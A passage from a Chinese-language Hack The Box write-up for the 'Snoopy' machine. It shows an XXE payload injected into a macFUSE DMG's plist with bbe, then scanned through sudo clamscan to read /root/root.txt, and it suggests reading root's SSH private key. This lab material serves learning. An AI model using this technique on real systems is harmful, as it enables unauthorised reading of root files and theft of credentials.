的位置改成!# ENTRY
的變數。
308�(M- Q�*C��?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist [<!ENTITY QQ SYSTEM "file:///root/root.txt"> ]>
<plist version="1.0">
<dict>
<key>resource-fork</key>
<dict>
<key>&QQ;</key>
<array>
<dict>
<key>Attributes</key>
<string>0x0050</string>
<key>CFName</key>
<string>Gesamte Disk (Apple_HFS : 0)</string>
<key>Data</key>
<data>
308�(M- Q�*C��?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>resource-fork</key>
<dict>
<key>blkx</key>
<array>
<dict>
<key>Attributes</key>
<string>0x0050</string>
<key>CFName</key>
<string>Gesamte Disk (Apple_HFS : 0)</string>
<key>Data</key>
<data>
為什麼變數取名QQ?
因為我們要直接修改binary檔案,有的時候長度比原始資料長會出錯。
blkx
,長度4,所以payload包含關鍵字元:&**;
,只允許長度為2的變數名。
同理,寫在PUBLIC
後面的entry payload也不要超過原始長度也比較好。
如果是過短出錯,則補null byte(\00
)。
sed
沒辦法簡單地處理binary,在此使用bbe
(Binary Block Editor),取代原始資料成payload。
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY QQ SYSTEM "file:///root/root.txt"> ]>|' -e 's/blkx/&QQ\;/' macfuse-4.8.2.dmg -o badfuse.dmg
把改好的惡意DMG,badfuse.dmg
上傳掃描,成功讀取root.txt
,當然也可以依樣畫葫蘆,
嘗試讀取/root/.ssh/id_rsa
。
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ scp badfuse.dmg [email protected]:~
badfuse.dmg 100% 6060KB 5.0MB/s 00:01
┌──(kali㉿kali)-[~/…/CTF/HTB/Machines/snoopy]
└─$ ssh [email protected]
^[[FWelcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-71-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Nov 18 06:12:27 2024 from 10.10.14.10
sbrown@snoopy:~$ mv badfuse.dmg scanfiles/
sbrown@snoopy:~$ sudo clamscan --debug /home/sbrown/scanfiles/badfuse.dmg
LibClamAV debug: searching for unrar, user-searchpath: /usr/local/lib
LibClamAV debug: unrar support loaded from /usr/local/lib/libclamunrar_iface.so.11.0.0
LibClamAV debug: Initialized 1.0.0 engine
LibClamAV debug: Initializing phishcheck module
...
LibClamAV debug: DMG signature found at 6205254
LibClamAV debug: cli_scandmg: Found koly block @ 6205254
LibClamAV debug: cli_scandmg: data offset 0 len 6189522
LibClamAV debug: cli_scandmg: XML offset 6189522 len 3662
LibClamAV debug: cli_scandmg: Extracting into /tmp/20241118_080420-scantemp.795ee97ee0/dmg-tmp.8974336a00
LibClamAV debug: cli_magic_scan_nested_fmap_type: [6189522, +3662)
LibClamAV debug: magic_scan_nested_fmap_type: [0, +6205766), [6189522, +3662)
LibClamAV debug: Recognized ASCII text
LibClamAV debug: clean_cache_check: 60c484580e92b870d979af14befa44df is negative
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: matcher_run: performing regex matching on full map: 0+3662(3662) >= 3662
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: in cli_scanscript()
LibClamAV debug: matcher_run: performing regex matching on full map: 0+3284(3284) >= 3284
LibClamAV debug: matcher_run: performing regex matching on full map: 0+3284(3284) >= 3284
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: cli_magic_scan: returning 0 at line 4997
LibClamAV debug: clean_cache_add: 60c484580e92b870d979af14befa44df (level 0)
LibClamAV debug: cli_scandmg: wanted blkx, text value is 59665e01f62a5f57f23aa847539b0ba0
LibClamAV debug: cli_scandmg: wanted blkx, text value is plst
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: matcher_run: performing regex matching on full map: 6153600+52166(6205766) >= 6205766
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: cli_magic_scan: returning 0 at line 4997
LibClamAV debug: clean_cache_add: 5182655f77c966b64269b7912b75d5b5 (level 0)
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
/home/sbrown/scanfiles/badfuse.dmg: OK
LibClamAV debug: Cleaning up phishcheck
LibClamAV debug: Freeing phishcheck struct
LibClamAV debug: Phishcheck cleaned up
----------- SCAN SUMMARY -----------
Known viruses: 8659055
Engine version: 1.0.0
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 12.59 MB
Data read: 5.92 MB (ratio 2.13:1)
Time: 27.076 sec (0 m 27 s)
Start Date: 2024:11:18 08:03:55
End Date: 2024:11:18 08:04:22
sbrown@snoopy:~$ Read from remote host snoopy.htb: Connection reset by peer
Connection to snoopy.htb closed.
client_loop: send disconnect: Broken pipe